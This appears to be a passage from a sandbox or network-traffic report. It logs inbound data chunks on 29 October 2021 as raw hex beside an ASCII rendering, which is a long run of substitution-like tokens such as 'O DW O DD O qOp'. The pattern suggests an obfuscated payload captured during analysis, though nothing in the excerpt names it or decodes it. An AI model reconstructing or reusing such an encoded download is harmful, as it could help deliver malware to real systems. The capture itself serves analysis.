2021-10-29 15:55:26 UTC	1046	IN	Data Raw: 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 Data Ascii: O DW O DD O XW O DW O DW O DW O DW O DW O DD O qOJ O DW O Eq O qOp O DW O XW O DW O DW O EM O DW O DW O DM O DW O mE O mE O mp O DW O DW O DM O EE O DW O MX O qqM O DD O qqE O DW O EJ O Xq O DW O ME O Xq O DD O qqE O DW O EJ O XW O DW O MO O Xq O DW O DW
2021-10-29 15:55:26 UTC	1047	IN	Data Raw: 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 Data Ascii: W O EJ O EE O DW O Ep O DW O DD O qqX O DW O Eq O EE O DW O XM O qqM O DD O mM O DW O EJ O Ep O DW O MM O qOp O DD O qOX O DW O Eq O Xq O DW O EM O qOp O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O XW O DW O DW O DW O DW O DW O DW O EJ O DW O EO O E
2021-10-29 15:55:26 UTC	1049	IN	Data Raw: 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f Data Ascii: DW O Eq O WD O DW O XM O Xq O DD O qJq O DW O Eq O Xq O DW O ED O DW O DW O qOp O DW O Eq O DM O DW O MX O qOp O DD O qOE O DW O DE O DW O DW O MM O qqM O DD O qOX O DW O Eq O WJ O DW O MO O DW O DW O qOp O DW O Eq O qOE O DW O qOO O DW O DW O qOp O DW O
2021-10-29 15:55:26 UTC	1050	IN	Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4f 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f Data Ascii: DW O DW O DW O DW O DE O XW O DW O MM O DW O DE O Xq O DD O MX O DW O DW O qOE O DW O WW O Xq O EE O DW O DW O XO O mE O mE O qOp O qOp O DD O Xq O DW O EJ O Ep O DW O MX O qqM O DD O qqO O DW O EJ O Ep O DW O XM O Xq O DD O qqD O DW O DE O DW O DW O qOO
2021-10-29 15:55:26 UTC	1051	IN	Data Raw: 4f 20 57 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: O Wm O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O qOp O DW O DE O DD O XW O Eq O Xq O DW O Eq O qOp O DE O XJ O DW O Xq O WJ O DW O Wm O Xq O EE O DW O DW O XO O mE O mE O qOp O Xq O DW O DW O DW O
2021-10-29 15:55:26 UTC	1053	IN	Data Raw: 20 6d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 Data Ascii: mE O qOp O qOp O DD O Xq O DW O EJ O Ep O DW O ME O Xq O DD O qqX O DW O EJ O Ep O DW O ME O Xq O DD O mX O DW O EJ O qOE O DW O Ep O DW O DD O DX O DW O Eq O qqM O DW O XM O Xq O DD O qJJ O DW O EJ O EE O DW O EM O qOp O DW O DW O DW O DW O DW O DW O DW
2021-10-29 15:55:26 UTC	1054	IN	Data Raw: 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 45 20 Data Ascii: DW O Eq O WJ O DW O MO O DW O DD O qqX O DW O EJ O MM O DW O Ep O DW O DD O Xq O DW O Eq O WD O DW O MM O qqM O DD O qqJ O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O DW O Ep O DW O DW O qqq O DW O EO O qOp O DW O ED O DW O DD O MO O DW O DE
2021-10-29 15:55:26 UTC	1058	IN	Data Raw: 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 4f 45 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 Data Ascii: DW O qqq O DW O DE O DD O XW O Ep O qOE O DD O qOJ O Xq O DD O Xq O DW O DW O mX O DW O WW O DW O EE O DW O DW O XO O mE O mE O qOp O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DX O DW O DW O EO O Xq O DD O q
2021-10-29 15:55:26 UTC	1062	IN	Data Raw: 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 57 Data Ascii: W O DW O DW O DW O DW O MM O DW O DW O EO O DW O Ep O DW O ED O WJ O DW O WJ O DW O EO O DW O DW O DW O XW O DM O DW O DW O DX O mE O mE O WJ O DW O DW O Xq O qqM O DD O qqX O DW O Eq O mX O DW O MM O DW O DD O qOm O DW O EJ O Xq O DW O ME O Xq O DD O qOW
2021-10-29 15:55:26 UTC	1066	IN	Data Raw: 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4f 20 Data Ascii: O DD O qqE O DW O Eq O MM O DW O MM O qqM O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DX O DW O DE O EO O Xq O Eq O DW O EJ O qqm O DW O Eq O qqq O DW O qOE O DW O DW O EE O DD O DW O DW O DW O mE O mE O mp O EO
2021-10-29 15:55:26 UTC	1070	IN	Data Raw: 20 44 57 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 Data Ascii: DW O Xq O DX O mE O mE O WJ O DW O DW O Xm O qqM O DD O ED O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O EE O DW O DW O EO O DW O DW O DW O DW O DW O DW O DX O qOp O DW O XO O DW O DD O XW O DW O EO O DW O DX O mE O mE O mE O mE O mE O qOp O qOp O
2021-10-29 15:55:26 UTC	1074	IN	Data Raw: 20 44 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 57 4a 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 Data Ascii: DW O qOM O DW O DM O Xq O DW O MX O qqM O DD O Wq O DW O Eq O WJ O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O XW O DW O DW O DW O DW O DW O DE O qOJ O DW O DM O DW O DW O EE O qOp O DW O EM O DW O EM O WJ O DX O mE O mE O mp O DW O
2021-10-29 15:55:26 UTC	1078	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 Data Ascii: DW O DW O DW O DW O DW O DW O qqq O DW O Em O Xq O DD O qOE O DW O DE O DW O DW O ME O Xq O DD O mX O DW O Eq O XW O DW O MX O Xq O DW O qqq O DW O EJ O EE O DW O EW O Xq O DW O EX O DW O DE O qqM O DW O Ep O DW O DW O qOX O DW O Eq O Xq O DW O Ep O DW O
2021-10-29 15:55:26 UTC	1082	IN	Data Raw: 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 Data Ascii: MO O DW O DD O qOE O DW O Eq O XW O DW O MX O qOp O DW O Eq O DW O DM O WJ O DW O MX O qqM O DD O qJq O DW O Eq O mX O DW O XM O Xq O DD O qqW O DW O DW O qOE O DW O Xm O Xq O DD O qqJ O DW O Eq O WJ O DW O ME O Xq O DD O qqD O DW O Eq O qOE O DW O qOq O
2021-10-29 15:55:26 UTC	1087	IN	Data Raw: 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f Data Ascii: DW O DE O DW O DW O MM O DW O DD O qOm O DW O EJ O EE O DW O MM O qqM O DD O Wq O DW O Eq O WD O DW O MM O qOp O DD O qOE O DW O DD O DW O DW O XD O DW O DD O qJq O DW O EJ O XW O DW O MM O qqM O DD O mX O DW O Eq O XW O DW O MO O DW O DD O Em O DW O Eq O
2021-10-29 15:55:26 UTC	1091	IN	Data Raw: 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 4d 4d Data Ascii: O XW O DW O DE O qOp O DD O XX O DW O Eq O qOE O DW O MX O qOp O DD O qOE O DW O Eq O WD O DW O qOO O qqM O DD O qJJ O DW O DE O DW O DW O EM O Xq O DW O mM O DW O DW O qqq O DW O XD O qqM O DD O qqJ O DW O Eq O WJ O DW O MO O DW O DD O qqX O DW O EJ O MM
2021-10-29 15:55:26 UTC	1095	IN	Data Raw: 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 Data Ascii: O WD O DW O XM O qqM O DD O qOX O DW O EJ O EE O DW O MM O qqM O DW O qOp O DW O EO O DW O DW O XM O Xq O DD O mX O DW O Eq O qOp O DW O DX O Xq O DD O DX O DW O EJ O Ep O DW O MO O Xq O DD O qOm O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O
2021-10-29 15:55:26 UTC	1098	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 Data Ascii: O DW O DD O qqJ O DW O Eq O WD O DW O MX O qOp O DW O DW O DW O DW O DW O DW O XW O qOp O DD O mM O DW O Eq O WJ O DW O Ep O DW O DD O qOm O DW O DE O DW O DW O MM O DW O DD O qJq O DW O Eq O WD O DW O MO O qqM O DD O qJq O DW O Eq O DM O DW O MX O Xq O
2021-10-29 15:55:26 UTC	1102	IN	Data Raw: 6d 58 20 4f 20 57 6d 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 71 4f 20 4f 20 58 4d 20 4f 20 71 4a 4f 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 71 71 4a 20 4f 20 4d 4f 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 57 45 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 44 4d 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 44 45 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 45 71 20 4f 20 6d 4d 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 71 4f Data Ascii: mX O Wm O XM O XX O EX O qqD O ED O qqO O XM O qJO O Ep O qOW O DD O qqD O XM O XE O Wp O qqJ O MO O qOM O XD O qJJ O qOO O EO O MO O qOX O MM O qqO O EX O qqJ O MX O WO O WJ O WE O Ep O qOD O DM O qqE O EE O DE O Ep O qOp O qOq O Eq O mM O qqW O MX O qqO
